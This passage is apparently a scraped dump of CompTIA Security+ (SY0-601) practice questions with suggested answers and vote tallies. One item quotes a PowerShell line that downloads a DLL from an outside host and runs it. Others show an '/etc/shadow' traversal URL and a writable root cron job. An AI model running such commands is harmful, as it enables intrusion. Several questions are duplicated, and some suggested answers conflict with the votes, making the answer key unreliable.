DMZ and moved to the sensitive information, generating multiple logs as the attacker traversed
through the network? Which of the following will BEST assist with this investigation?

• A. Perform a vulnerability scan to identify the weak spots

• B. Use a packet analyzer to investigate the NetFlow traffic
• C. Check the SIEM to review the correlated logs Most Voted
• D. Require access to the routers to view current sessions

Hide Answer
Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)
Question #: 322
Topic #: 1
[All SY0-601 Questions]
When planning to build a virtual environment, an administrator needs to achieve the following:
✑ Establish policies to limit who can create new VMs.
✑ Allocate resources according to actual utilization.
✑ Require justification for requests outside of the standard requirements.
✑ Create standardized categories based on size and resource requirements.
Which of the following is the administrator MOST likely trying to do?

• A. Implement IaaS replication

• B. Protect against VM escape
• C. Deploy a PaaS
• D. Avoid VM sprawl Most Voted

Hide Answer
Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 323
Topic #: 1
[All SY0-601 Questions]
A security analyst has received several reports of an issue on an internal web application. Users
state they are having to provide their credentials twice to log in.
The analyst checks with the application team and notes this is not an expected behavior. After
looking at several logs, the analyst decides to run some commands on the gateway and obtains
the following output:

Which of the following BEST describes the attack the company is experiencing?

• A. MAC flooding
• B. URL redirection
• C. ARP poisoning
• D. DNS hijacking

Hide Answer
Suggested Answer: C 🗳🗳

Community vote distribution

C (100%

Question #: 323
Topic #: 1
[All SY0-601 Questions]
A security analyst has received several reports of an issue on an internal web application. Users
state they are having to provide their credentials twice to log in.
The analyst checks with the application team and notes this is not an expected behavior. After
looking at several logs, the analyst decides to run some commands on the gateway and obtains
the following output:

Which of the following BEST describes the attack the company is experiencing?

• A. MAC flooding
• B. URL redirection
• C. ARP poisoning
• D. DNS hijacking

Hide Answer
Suggested Answer: C 🗳🗳

Community vote distribution

C (100%
Question #: 325
Topic #: 1
[All SY0-601 Questions]
An engineer needs to deploy a security measure to identify and prevent data tampering within the
enterprise. Which of the following will accomplish this goal?

• A. Antivirus
• B. IPS
• C. FTP
• D. FIM Most Voted

Hide Answer
Suggested Answer: D 🗳🗳
Reference:
https://www.cypressdatadefense.com/blog/data-tampering-prevention/
Community vote distribution
D (100%)

Question #: 326
Topic #: 1
[All SY0-601 Questions]
A client sent several inquiries to a project manager about the delinquent delivery status of some
critical reports. The project manager claimed the reports were previously sent via email, but then
quickly generated and backdated the reports before submitting them as plain text within the body
of a new email message thread. Which of the following actions MOST likely supports an
investigation for fraudulent submission?

• A. Establish chain of custody

• B. Inspect the file metadata
• C. Reference the data retention policy
• D. Review the email event log Most Voted

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Suggested Answer: B 🗳🗳

Community vote distribution

D (65%)
B (35%)

Question #: 327
Topic #: 1
[All SY0-601 Questions]
A retail company that is launching a new website to showcase the company's product line and
other information for online shoppers registered the following URLs:
✑ www.companysite.com
✑ shop.companysite.com
✑ about-us.companysite.com
✑ contact-us.companysite.com
✑ secure-logon.companysite.com
Which of the following should the company use to secure its website if the company is concerned
with convenience and cost?

• A. A self-signed certificate
• B. A root certificate
• C. A code-signing certificate
• D. A wildcard certificate
• E. An extended validation certificate

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 328
Topic #: 1
[All SY0-601 Questions]
An organization recently released a software assurance policy that requires developers to run code
scans each night on the repository. After the first night, the security team alerted the developers
that more than 2,000 findings were reported and need to be addressed. Which of the following is
the MOST likely cause for the high number of findings?

• A. The vulnerability scanner was not properly configured and generated a high number of
false positives. Most Voted
• B. Third-party libraries have been loaded into the repository and should be removed from
the codebase. Most Voted
• C. The vulnerability scanner found several memory leaks during runtime, causing duplicate
reports for the same issue.
• D. The vulnerability scanner was not loaded with the correct benchmarks and needs to be
updated.

Hide Answer
Suggested Answer: A 🗳🗳
Community vote distribution
A (76%)
B (24%)

Question #: 329
Topic #: 1
[All SY0-601 Questions]
A security analyst needs to implement security features across smartphones, laptops, and tablets.
Which of the following be the MOST effective across heterogeneous platforms?

• A. Enforcing encryption
• B. Deploying GPOs
• C. Removing administrative permissions
• D. Applying MDM software Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 330
Topic #: 1
[All SY0-601 Questions]
An attack relies on an end user visiting a website the end user would typically visit; however, the
site is compromised and uses vulnerabilities in the end user's browser to deploy malicious
software. Which of the following types of attacks does this describe?

• A. Smishing
• B. Whaling
• C. Watering hole Most Voted
• D. Phishing

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 331
Topic #: 1
[All SY0-601 Questions]
A network manager is concerned that business may be negatively impacted if the firewall in its
data center goes offline. The manager would like to implement a high availability pair to:

• A. decrease the mean time between failures.

• B. remove the single point of failure. Most Voted
• C. cut down the mean time to repair.
• D. reduce the recovery time objective.

Hide Answer
Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 332
Topic #: 1
[All SY0-601 Questions]
Which of the following environments utilizes dummy data and is MOST likely to be installed locally
on a system that allows code to be assessed directly and modified easily with each build?

• A. Production
• B. Test
• C. Staging
• D. Development Most Voted

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Suggested Answer: B 🗳🗳

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D (100%)

Question #: 333
Topic #: 1
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A security analyst needs to find real-time data on the latest malware and IoCs. Which of the
following BEST describes the solution the analyst should pursue?

• A. Advisories and bulletins

• B. Threat feeds Most Voted
• C. Security news articles
• D. Peer-reviewed content
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Suggested Answer: B 🗳🗳

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B (100%)

Question #: 334
Topic #: 1
[All SY0-601 Questions]
Ann, a customer, received a notification from her mortgage company stating her PII may be shared
with partners, affiliates, and associates to maintain day-to-day business operations. Which of the
following documents did Ann receive?

• A. An annual privacy notice Most Voted

• B. A non-disclosure agreement
• C. A privileged-user agreement
• D. A memorandum of understanding

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Suggested Answer: A 🗳🗳

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A (83%)
D (17%)

Question #: 335
Topic #: 1
[All SY0-601 Questions]
A security researcher is tracking an adversary by nothing its attacks and techniques based on its
capabilities, infrastructure, and victims. Which of the following is the researcher MOST likely
using?

• A. The Diamond Model of Intrusion Analysis Most Voted

• B. The Cyber Kill Chain
• C. The MITRE CVE database
• D. The incident response process

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Suggested Answer: A 🗳🗳
Reference:
https://cyware.com/educational-guides/incident-response/what-is-the-diamond-model-of-
intrusion-analysis-5f02
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A (100%)

Question #: 336
Topic #: 1
[All SY0-601 Questions]
A security analyst is investigating a vulnerability in which a default file permission was set
incorrectly. The company uses non-credentialed scanning for vulnerability management. Which of
the following tools can the analyst use to verify the permissions?

• A. ssh
• B. chmod
• C. ls
• D. setuid
• E. nessus
• F. nc

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Suggested Answer: C 🗳🗳
Reference:
https://www.freecodecamp.org/news/the-linux-ls-command-how-to-list-files-in-a-directory-with-
options/
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C (100%)

Question #: 337
Topic #: 1
[All SY0-601 Questions]
A desktop support technician recently installed a new document-scanning software program on a
computer. However, when the end user tried to launch the program, it did not respond. Which of
the following is MOST likely the cause?

• A. A new firewall rule is needed to access the application

• B. The system was quarantined for missing software updates
• C. The software was not added to the application whitelist Most Voted
• D. The system was isolated from the network due to infected software

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Suggested Answer: C 🗳🗳

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C (83%)
A (17%)

Question #: 338
Topic #: 1
[All SY0-601 Questions]
A financial analyst has been accused of violating the company's AUP and there is forensic
evidence to substantiate the allegation. Which of the following would dispute the analyst's claim of
innocence?

• A. Legal hold
• B. Order of volatility
• C. Non-repudiation Most Voted
• D. Chain of custody

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Suggested Answer: C 🗳🗳
Reference:
https://en.wikipedia.org/wiki/Non-repudiation
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C (100%)

Question #: 339
Topic #: 1
[All SY0-601 Questions]
A major clothing company recently lost a large amount of proprietary information. The security
officer must find a solution to ensure this never happens again.
Which of the following is the BEST technical implementation to prevent this from happening again?

• A. Configure DLP solutions

• B. Disable peer-to-peer sharing
• C. Enable role-based
• D. Mandate job rotation
• E. Implement content filters

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Suggested Answer: A 🗳🗳

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A (100%)
Question #: 340
Topic #: 1
[All SY0-601 Questions]
A company was compromised, and a security analyst discovered the attacker was able to get
access to a service account. The following logs were discovered during the investigation:

Which of the following MOST likely would have prevented the attacker from learning the service
account name?

• A. Race condition testing

• B. Proper error handling Most Voted
• C. Forward web server logs to a SIEM
• D. Input sanitization

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Suggested Answer: B 🗳🗳

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B (100%)

Question #: 341
Topic #: 1
[All SY0-601 Questions]
Several employees have noticed other bystanders can clearly observe a terminal where passcodes
are being entered. Which of the following can be eliminated with the use of a privacy screen?

• A. Shoulder surfing
• B. Spear phishing
• C. Impersonation attack
• D. Card cloning

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Suggested Answer: A 🗳🗳

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A (100%)
Question #: 342
Topic #: 1
[All SY0-601 Questions]
An information security officer at a credit card transaction company is conducting a framework-
mapping exercise with the internal controls. The company recently established a new office in
Europe. To which of the following frameworks should the security officer map the existing
controls? (Choose two.)

• A. ISO
• B. PCI DSS
• C. SOC
• D. GDPR
• E. CSA
• F. NIST

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Suggested Answer: BD 🗳🗳

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BD (80%)
AD (20%)

Question #: 343
Topic #: 1
[All SY0-601 Questions]
A security engineer needs to create a network segment that can be used for servers that require
connections form untrusted networks. Which of the following should the engineer implement?

• A. An air gap
• B. A hot site
• C. A VLAN
• D. A screened subnet Most Voted

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Suggested Answer: D 🗳🗳

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D (100%)

Actual exam question from CompTIA's SY0-601

Question #: 344
Topic #: 1
[All SY0-601 Questions]
A security analyst is hardening a network infrastructure. The analyst is given the following
requirements:
✑ Preserve the use of public IP addresses assigned to equipment on the core router.
Enable `in transport` encryption protection to the web server with the strongest ciphers.

Which of the following should the analyst implement to meet these requirements? (Choose two.)

• A. Configure VLANs on the core router

• B. Configure NAT on the core router Most Voted
• C. Configure BGP on the core router
• D. Enable AES encryption on the web server
• E. Enable 3DES encryption on the web server
• F. Enable TLSv2 encryption on the web server Most Voted

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Suggested Answer: BF 🗳🗳

Community vote distribution

BF (71%)
BD (29%)

Question #: 345
Topic #: 1
[All SY0-601 Questions]
Audit logs indicate an administrative account that belongs to a security engineer has been locked
out multiple times during the day. The security engineer has been on vacation for a few days.
Which of the following attacks can the account lockout be attributed to?

• A. Backdoor
• B. Brute-force Most Voted
• C. Rootkit
• D. Trojan

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Suggested Answer: B 🗳🗳

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B (100%)
Question #: 346
Topic #: 1
[All SY0-601 Questions]
A security analyst is reviewing the output of a web server log and notices a particular account is
attempting to transfer large amounts of money:

Which of the following types of attacks is MOST likely being conducted?

• A. SQLi
• B. CSRF Most Voted
• C. Spear phishing
• D. API

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 347
Topic #: 1
[All SY0-601 Questions]
After installing a patch on a security appliance, an organization realized a massive data exfiltration
had occurred. Which of the following BEST describes the incident?

• A. Supply chain attack Most Voted

• B. Ransomware attack
• C. Cryptographic attack
• D. Password attack

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Suggested Answer: A 🗳🗳

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A (100%)
Question #: 348
Topic #: 1
[All SY0-601 Questions]
An engineer is setting up a VDI environment for a factory location, and the business wants to
deploy a low-cost solution to enable users on the shop floor to log in the VDI environment directly.
Which of the following should the engineer select to meet these requirements?

• A. Laptops
• B. Containers
• C. Thin clients Most Voted
• D. Workstations

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 349
Topic #: 1
[All SY0-601 Questions]
An information security manager for an organization is completing a PCI DSS self-assessment for
the first time. Which of the following is the MOST likely reason for this type of assessment?

• A. An international expansion project is currently underway.

• B. Outside consultants utilize this tool to measure security maturity.
• C. The organization is expecting to process credit card information. Most Voted
• D. A government regulator has requested this audit to be completed.

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Suggested Answer: C 🗳🗳

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C (100%)

Question #: 350
Topic #: 1
[All SY0-601 Questions]
Physical access to the organization's servers in the data center requires entry and exit through
multiple access points: a lobby, an access control vestibule, three doors leading to the server floor,
a door to the server floor itself, and eventually to a caged area solely for the organization’s
hardware. Which of the following controls is described in this scenario?
• A. Compensating
• B. Deterrent
• C. Preventive Most Voted
• D. Detective

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Suggested Answer: C 🗳🗳

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C (100%)

Question #: 351
Topic #: 1
[All SY0-601 Questions]
While reviewing pcap data, a network security analyst is able to locate plaintext usernames and
passwords being sent from workstations to network switches.
Which of the following is the security analyst MOST likely observing?

• A. SNMP traps
• B. A Telnet session Most Voted
• C. An SSH connection
• D. SFTP traffic

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Suggested Answer: B 🗳🗳
Reference:
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B (100%)

Question #: 352
Topic #: 1
[All SY0-601 Questions]
An organization has expanded its operations by opening a remote office. The new office is fully
furnished with office resources to support up to 50 employees working on any given day. Which of
the following VPN solutions would BEST support the new office?

• A. Always-on
• B. Remote access
• C. Site-to-site
• D. Full tunnel
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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 353
Topic #: 1
[All SY0-601 Questions]
A network engineer and a security engineer are discussing ways to monitor network operations.
Which of the following is the BEST method?

• A. Disable Telnet and force SSH.

• B. Establish a continuous ping.
• C. Utilize an agentless monitor. Most Voted
• D. Enable SNMPv3 with passwords. Most Voted

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Suggested Answer: C 🗳🗳

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D (50%)
C (50%)

Question #: 354
Topic #: 1
[All SY0-601 Questions]
The spread of misinformation surrounding the outbreak of a novel virus on election day led to
eligible voters choosing not to take the risk of going the polls. This is an example of:

• A. prepending.
• B. an influence campaign. Most Voted
• C. a watering-hole attack.
• D. intimidation.
• E. information elicitation.

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Suggested Answer: B 🗳🗳
Reference:
https://www.darpa.mil/program/influence-campaign-awareness-and-sensemaking
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B (100%)
Question #: 355
Topic #: 1
[All SY0-601 Questions]
An organization recently recovered form a data breach. During the root cause analysis, the
organization determined the source of the breach to be a personal cell phone that had been
reported lost. Which of the following solutions should the organization implement to reduce the
likelihood of future data breaches?

• A. MDM Most Voted

• B. MAM
• C. VDI
• D. DLP

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Suggested Answer: A 🗳🗳

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A (83%)
D (17%)

Question #: 356
Topic #: 1
[All SY0-601 Questions]
Which of the following disaster recovery tests is the LEAST time consuming for the disaster
recovery team?

• A. Tabletop Most Voted

• B. Parallel
• C. Full interruption
• D. Simulation

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Suggested Answer: D 🗳🗳

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A (93%)
7%

Question #: 357
Topic #: 1
[All SY0-601 Questions]
The Chief Executive Officer announced a new partnership with a strategic vendor and asked the
Chief Information Security Officer to federate user digital identities using SAML-based protocols.
Which of the following will this enable?

• A. SSO Most Voted

• B. MFA
• C. PKI
• D. DLP

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 358
Topic #: 1
[All SY0-601 Questions]
A security analyst is concerned about traffic initiated to the dark web form the corporate LAN.
Which of the following networks should the analyst monitor?

• A. SFTP
• B. AIS
• C. Tor
• D. IoC

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 359
Topic #: 1
[All SY0-601 Questions]
A large industrial system’s smart generator monitors the system status and sends alerts to third-
party maintenance personnel when critical failures occur. While reviewing the network logs, the
company’s security manager notices the generator’s IP is sending packets to an internal file
server’s IP. Which of the following mitigations would be BEST for the security manager to
implement while maintaining alerting capabilities?

• A. Segmentation Most Voted

• B. Firewall allow list
• C. Containment
• D. Isolation

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Suggested Answer: B 🗳🗳

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A (86%)
14%

Question #: 360
Topic #: 1
[All SY0-601 Questions]
Which of the following technologies is used to actively monitor for specific file types being
transmitted on the network?

• A. File integrity monitoring

• B. Honeynets
• C. Tcpreplay
• D. Data loss prevention Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (70%)
A (30%)

Question #: 361
Topic #: 1
[All SY0-601 Questions]
As part of the building process for a web application, the compliance team requires that all PKI
certificates are rotated annually and can only contain wildcards at the secondary subdomain level.
Which of the following certificate properties will meet these requirements?

• A. HTTPS://*.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022

• B. HTTPS://app1.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022
• C. HTTPS://*.app1.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00
2022 Most Voted
• D. HTTPS://*.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2023
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Suggested Answer: C 🗳🗳

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C (85%)
Other

Actual exam question from CompTIA's SY0-601

Question #: 362
Topic #: 1
[All SY0-601 Questions]
A global pandemic is forcing a private organization to close some business units and reduce
staffing at others. Which of the following would be BEST to help the organization's executives
determine their next course of action?

• A. An incident response plan

• B. A communication plan
• C. A disaster recovery plan
• D. A business continuity plan Most Voted

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Suggested Answer: D 🗳🗳

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D (100%)

Question #: 363
Topic #: 1
[All SY0-601 Questions]
A cybersecurity analyst reviews the log files from a web server and sees a series of files that
indicate a directory traversal attack has occurred. Which of the following is the analyst MOST likely
seeing?

• A. http://sample.url.com/
• B. http://sample.url.com/someotherpageonsite/../../../etc/shadow Most Voted
• C. http://sample.url.com/select-from-database-where-password-null
• D. http://redirect.sameple.url.sampleurl.com/malicious-dns-redirect

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Suggested Answer: B 🗳🗳

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B (100%)

Question #: 364
Topic #: 1
[All SY0-601 Questions]
A candidate attempts to go to http://comptia.org but accidentally visits http://comptiia.org. The
malicious website looks exactly like the legitimate website. Which of the following BEST describes
this type of attack?

• A. Reconnaissance
• B. Impersonation
• C. Typosquatting Most Voted
• D. Watering-hole

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Suggested Answer: C 🗳🗳

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C (100%)

Question #: 365
Topic #: 1
[All SY0-601 Questions]
The marketing department at a retail company wants to publish an internal website to the internet
so it is reachable by a limited number of specific, external service providers in a secure manner.
Which of the following configurations would be BEST to fulfil this requirement?

• A. NAC Most Voted

• B. ACL Most Voted
• C. WAF
• D. NAT

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Suggested Answer: B 🗳🗳

Community vote distribution

B (48%)
A (34%)
C (18%)
Question #: 366
Topic #: 1
[All SY0-601 Questions]
A retail executive recently accepted a job with a major competitor. The following week, a security
analyst reviews the security logs and identifies successful logon attempts to access the departed
executive’s accounts. Which of the following security practices would have addressed the issue?

• A. A non-disclosure agreement
• B. Least privilege
• C. An acceptable use policy
• D. Offboarding Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 367
Topic #: 1
[All SY0-601 Questions]
A network-connected magnetic resonance imaging (MRI) scanner at a hospital is controlled and
operated by an outdated and unsupported specialized Windows OS. Which of the following is
MOST likely preventing the IT manager at the hospital from upgrading the specialized OS?

• A. The time needed for the MRI vendor to upgrade the system would negatively impact
patients.
• B. The MRI vendor does not support newer versions of the OS. Most Voted
• C. Changing the OS breaches a support SLA with the MRI vendor.
• D. The IT team does not have the budget required to upgrade the MRI scanner.

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Suggested Answer: B 🗳🗳

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B (100%)
Question #: 368
Topic #: 1
[All SY0-601 Questions]
A company received a “right to be forgotten” request. To legally comply, the company must remove
data related to the requester from its systems. Which of the following is the company MOST likely
complying with?

• A. NIST CSF
• B. GDPR Most Voted
• C. PCI DSS
• D. ISO 27001

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Actual exam question from CompTIA's SY0-601

Question #: 369
Topic #: 1
[All SY0-601 Questions]
A security team suspects that the cause of recent power consumption overloads is the
unauthorized use of empty power outlets in the network rack. Which of the following options will
mitigate this issue without compromising the number of outlets available?

• A. Adding a new UPS dedicated to the rack

• B. Installing a managed PDU Most Voted
• C. Using only a dual power supplies unit
• D. Increasing power generator capacity

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 370
Topic #: 1
[All SY0-601 Questions]
An engineer wants to inspect traffic to a cluster of web servers in a cloud environment. Which of
the following solutions should the engineer implement?

• A. CASB Most Voted

• B. WAF Most Voted
• C. Load balancer
• D. VPN

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Suggested Answer: C 🗳🗳

Community vote distribution

A (50%)
B (50%)

Question #: 369
Topic #: 1
[All SY0-601 Questions]
A security team suspects that the cause of recent power consumption overloads is the
unauthorized use of empty power outlets in the network rack. Which of the following options will
mitigate this issue without compromising the number of outlets available?

• A. Adding a new UPS dedicated to the rack

• B. Installing a managed PDU Most Voted
• C. Using only a dual power supplies unit
• D. Increasing power generator capacity

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 370
Topic #: 1
[All SY0-601 Questions]
An engineer wants to inspect traffic to a cluster of web servers in a cloud environment. Which of
the following solutions should the engineer implement?

• A. CASB Most Voted

• B. WAF Most Voted
• C. Load balancer
• D. VPN

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Suggested Answer: C 🗳🗳

Community vote distribution

A (50%)
B (50%)

Actual exam question from CompTIA's SY0-601

Question #: 371
Topic #: 1
[All SY0-601 Questions]
A security analyst needs to implement an MDM solution for BYOD users that will allow the
company to retain control over company emails residing on the devices and limit data exfiltration
that might occur if the devices are lost or stolen. Which of the following would BEST meet these
requirements? (Choose two.)

• A. Full device encryption Most VotedMost Voted

• B. Network usage rules
• C. Geofencing
• D. Containerization Most VotedMost Voted
• E. Application approve list
• F. Remote control Most VotedMost Voted

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Suggested Answer: DF 🗳🗳

Community vote distribution

AD (41%)
DF (38%)
AF (20%)
2%

Question #: 372
Topic #: 1
[All SY0-601 Questions]
A security administrator is evaluating remote access solutions for employees who are
geographically dispersed. Which of the following would provide the MOST secure remote access?
(Choose two.)
• A. IPSec Most Voted
• B. SFTP
• C. SRTP
• D. LDAPS
• E. S/MIME
• F. SSL VPN Most Voted

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Suggested Answer: AF 🗳🗳

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AF (68%)
AE (27%)
5%

Question #: 373
Topic #: 1
[All SY0-601 Questions]
A malicious actor recently penetrated a company's network and moved laterally to the data center.
Upon investigation, a forensics firm wants to know what was in the memory on the compromised
server. Which of the following files should be given to the forensics firm?

• A. Security
• B. Application
• C. Dump Most Voted
• D. Syslog

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 374
Topic #: 1
[All SY0-601 Questions]
A company is looking to migrate some servers to the cloud to minimize its technology footprint.
The company has a customer relationship management system on premises. Which of the
following solutions will require the LEAST infrastructure and application support from the
company?
• A. SaaS Most Voted
• B. IaaS
• C. PaaS Most Voted
• D. SDN

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Suggested Answer: A 🗳🗳

Community vote distribution

C (54%)
A (42%)
4%

Question #: 375
Topic #: 1
[All SY0-601 Questions]
A network administrator needs to determine the sequence of a server farm’s logs. Which of the
following should the administrator consider? (Choose two.)

• A. Chain of custody
• B. Tags
• C. Reports
• D. Time stamps Most Voted
• E. Hash values
• F. Time offset Most Voted

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Suggested Answer: DE 🗳🗳

Community vote distribution

DF (83%)
Other

Question #: 376
Topic #: 1
[All SY0-601 Questions]
Which of the following is the BEST reason to maintain a functional and effective asset
management policy that aids in ensuring the security of an organization?

• A. To provide data to quantify risk based on the organization's systems Most Voted
• B. To keep all software and hardware fully patched for known vulnerabilities Most Voted
• C. To only allow approved, organization-owned devices onto the business network
• D. To standardize by selecting one laptop model for all users in the organization

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Suggested Answer: C 🗳🗳

Community vote distribution

A (48%)
B (37%)
C (15%)

Question #: 377
Topic #: 1
[All SY0-601 Questions]
A security administrator, who is working for a government organization, would like to utilize
classification and granular planning to secure top secret data and grant access on a need-to-know
basis. Which of the following access control schemas should the administrator consider?

• A. Mandatory Most Voted

• B. Rule-based
• C. Discretionary
• D. Role-based

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Suggested Answer: D 🗳🗳

Community vote distribution

A (100%)

Question #: 378
Topic #: 1
[All SY0-601 Questions]
An organization is outlining data stewardship roles and responsibilities. Which of the following
employee roles would determine the purpose of data and how to process it?

• A. Data custodian
• B. Data controller Most Voted
• C. Data protection officer
• D. Data processor

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Suggested Answer: B 🗳🗳
Community vote distribution
B (100%)

Question #: 379
Topic #: 1
[All SY0-601 Questions]
Multiple beaconing activities to a malicious domain have been observed. The malicious domain is
hosting malware from various endpoints on the network. Which of the following technologies
would be BEST to correlate the activities between the different endpoints?

• A. Firewall
• B. SIEM Most Voted
• C. IPS
• D. Protocol analyzer

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 380
Topic #: 1
[All SY0-601 Questions]
Which of the following types of controls is a turnstile?

• A. Physical Most Voted

• B. Detective
• C. Corrective
• D. Technical

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 381
Topic #: 1
[All SY0-601 Questions]
Users report access to an application from an internal workstation is still unavailable to a specific
server, even after a recent firewall rule implementation that was requested for this access. ICMP
traffic is successful between the two devices. Which of the following tools should the security
analyst use to help identify if the traffic is being blocked?

• A. nmap Most Voted

• B. tracert
• C. ping
• D. ssh

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Suggested Answer: B 🗳🗳

Community vote distribution

A (100%)

Question #: 382
Topic #: 1
[All SY0-601 Questions]
As part of annual audit requirements, the security team performed a review of exceptions to the
company policy that allows specific users the ability to use USB storage devices on their laptops.
The review yielded the following results:

• The exception process and policy have been correctly followed by the majority of users.
• A small number of users did not create tickets for the requests but were granted access.
• All access had been approved by supervisors.
• Valid requests for the access sporadically occurred across multiple departments.
• Access, in most cases, had not been removed when it was no longer needed.

Which of the following should the company do to ensure that appropriate access is not disrupted
but unneeded access is removed in a reasonable time frame?

• A. Create an automated, monthly attestation process that removes access if an employee’s

supervisor denies the approval.
• B. Remove access for all employees and only allow new access to be granted if the
employee’s supervisor approves the request.
• C. Perform a quarterly audit of all user accounts that have been granted access and verify
the exceptions with the management team. Most Voted
• D. Implement a ticketing system that tracks each request and generates reports listing
which employees actively use USB storage devices.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (68%)
A (32%)

Question #: 383
Topic #: 1
[All SY0-601 Questions]
A financial institution would like to store its customer data in a cloud but still allow the data to be
accessed and manipulated while encrypted. Doing so would prevent the cloud service provider
from being able to decipher the data due to its sensitivity. The financial institution is not
concerned about computational overheads and slow speeds. Which of the following cryptographic
techniques would BEST meet the requirement?

• A. Asymmetric
• B. Symmetric
• C. Homomorphic Most Voted
• D. Ephemeral

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Suggested Answer: A 🗳🗳

Community vote distribution

C (100%)

Question #: 384
Topic #: 1
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A cryptomining company recently deployed a new antivirus application to all of its mining systems.
The installation of the antivirus application was tested on many personal devices, and no issues
were observed. Once the antivirus application was rolled out to the servers, constant issues were
reported. As a result, the company decided to remove the mining software. The antivirus
application was MOST likely classifying the software as:

• A. a rootkit.
• B. a PUP. Most Voted
• C. a backdoor.
• D. ransomware.
• E. a RAT.
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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 385
Topic #: 1
[All SY0-601 Questions]
A cybersecurity administrator is using iptables as an enterprise firewall. The administrator created
some rules, but the network now seems to be unresponsive. All connections are being dropped by
the firewall. Which of the following would be the BEST option to remove the rules?

• A. # iptables -t mangle -X
• B. # iptables -F Most Voted
• C. # iptables -Z
• D. # iptables -P INPUT -j DROP Most Voted

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Suggested Answer: B 🗳🗳

Community vote distribution

B (81%)
Other

Question #: 386
Topic #: 1
[All SY0-601 Questions]
An incident response technician collected a mobile device during an investigation. Which of the
following should the technician do to maintain chain of custody?

• A. Document the collection and require a sign-off when possession changes. Most Voted
• B. Lock the device in a safe or other secure location to prevent theft or alteration.
• C. Place the device in a Faraday cage to prevent corruption of the data.
• D. Record the collection in a blockchain-protected public ledger.

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)
Question #: 387
Topic #: 1
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A company recently implemented a patch management policy; however, vulnerability scanners
have still been flagging several hosts, even after the completion of the patch process. Which of the
following is the MOST likely cause of the issue?

• A. The vendor firmware lacks support.

• B. Zero-day vulnerabilities are being discovered. Most Voted
• C. Third-party applications are not being patched. Most Voted
• D. Code development is being outsourced.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (79%)
B (21%)

Question #: 388
Topic #: 1
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Which of the following controls would provide the BEST protection against tailgating?

• A. Access control vestibule Most Voted

• B. Closed-circuit television
• C. Proximity card reader
• D. Faraday cage

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Suggested Answer: C 🗳🗳

Community vote distribution

A (100%)

Question #: 389
Topic #: 1
[All SY0-601 Questions]
A penetration tester executes the command crontab -l while working in a Linux server environment.
The penetration tester observes the following string in the current user's list of cron jobs:

*/10 * * * * root /writable/update.sh

Which of the following actions should the penetration tester perform NEXT?

• A. Privilege escalation Most Voted

• B. Memory leak
• C. Directory traversal
• D. Race condition

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 390
Topic #: 1
[All SY0-601 Questions]
An employee received an email with an unusual file attachment named Updates.lnk. A security
analyst is reverse engineering what the file does and finds that it executes the following script:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -URI
https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundl132.exe
$env:TEMP\autoupdate.dll

Which of the following BEST describes what the analyst found?

• A. A PowerShell code is performing a DLL injection. Most Voted

• B. A PowerShell code is displaying a picture.
• C. A PowerShell code is configuring environmental variables.
• D. A PowerShell code is changing Windows Update settings.

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 391
Topic #: 1
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A security engineer obtained the following output from a threat intelligence source that recently
performed an attack on the company’s server:
Which of the following BEST describes this kind of attack?

• A. Directory traversal Most Voted

• B. SQL injection
• C. API
• D. Request forgery

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 392
Topic #: 1
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An organization’s Chief Information Security Officer is creating a position that will be responsible
for implementing technical controls to protect data, including ensuring backups are properly
maintained. Which of the following roles would MOST likely include these responsibilities?

• A. Data protection officer

• B. Data owner
• C. Backup administrator
• D. Data custodian Most Voted
• E. Internal auditor

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Suggested Answer: C 🗳🗳

Community vote distribution

D (91%)
9%

Question #: 393
Topic #: 1
[All SY0-601 Questions]
Which of the following BEST describes the team that acts as a referee during a penetration-testing
exercise?

• A. White team Most Voted

• B. Purple team
• C. Green team
• D. Blue team
• E. Red team

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Suggested Answer: B 🗳🗳

Community vote distribution

A (100%)

Question #: 394
Topic #: 1
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Which of the following would MOST likely be identified by a credentialed scan but would be missed
by an uncredentialed scan?

• A. Vulnerabilities with a CVSS score greater than 6.9.

• B. Critical infrastructure vulnerabilities on non-IP protocols.
• C. CVEs related to non-Microsoft systems such as printers and switches.
• D. Missing patches for third-party software on Windows workstations and servers. Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (93%)
7%

Question #: 395
Topic #: 1
[All SY0-601 Questions]
A security administrator is seeking a solution to prevent unauthorized access to the internal
network. Which of the following security solutions should the administrator choose?

• A. MAC filtering Most Voted

• B. Anti-malware
• C. Translation gateway
• D. VPN Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (53%)
A (47%)

Question #: 396
Topic #: 1
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A host was infected with malware. During the incident response, Joe, a user, reported that he did
